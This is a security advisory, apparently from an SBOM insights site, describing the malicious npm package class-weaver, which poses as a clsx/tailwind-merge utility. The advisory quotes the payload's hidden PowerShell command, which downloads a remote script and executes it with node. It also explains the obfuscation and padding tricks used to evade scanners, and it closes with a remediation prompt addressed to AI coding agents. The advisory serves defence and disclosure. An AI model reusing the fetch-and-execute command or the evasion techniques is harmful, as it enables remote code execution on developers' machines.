# MAL-2026-4521: Malicious code in class-weaver (npm)


- **Type:** Malicious package
- **Package:** `class-weaver` (npm)
- **Published:** 24 May 2026
- **Also known as:** GHSA-jx4m-wmh7-wmhr

## What is MAL-2026-4521?

MAL-2026-4521 is a malicious package in class-weaver, published on 24 May 2026. 

### Official description

class-weaver advertises itself as a className/theme utility (keywords clsx, utils, styling; exports named classNames and twMerge mimicking clsx/tailwind-merge), but its dist/index.js contains a hidden remote-code-execution path inside the exported applyGlobalStyles({palette, accents}) function. The function AES-256-CBC-decrypts caller-supplied hex arrays using a hardcoded 32-byte key (assembled from eight concatenated hex fragments) and spawns powershell.exe with arguments ["-WindowStyle","Hidden","-NoProfile","-Command",`irm ${URL} -o $env:TEMP\s.js; node $env:TEMP\s.js`] via spawnSync with windowsHide:true — downloading and executing arbitrary JavaScript on Windows installers. The node:crypto and node:child_process modules are imported through string-split array-join obfuscation (["no","de",":","cry","pto"].join("")) to evade static dependency scanning. Thousands of filler functions (isWithinBoundary1..200, mapOperation1..250, applyPreset1..150, createSequenceStep1..250, checkConstraint1..250) pad the bundle to disguise the ~30-line malicious payload. The package framing as a clsx/tailwind-merge drop-in is a lure; any consumer invoking the documented applyGlobalStyles API with attacker-controlled accent/palette values triggers fetch-and-execute of arbitrary code.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-4521?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-4521 is a malicious package: class-weaver (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-4521/ (Markdown: https://insights.sbomify.com/MAL-2026-4521/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-4521

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From sbomify Insights: https://insights.sbomify.com/MAL-2026-4521/
Summaries are generated and may contain mistakes; the official description above is the record.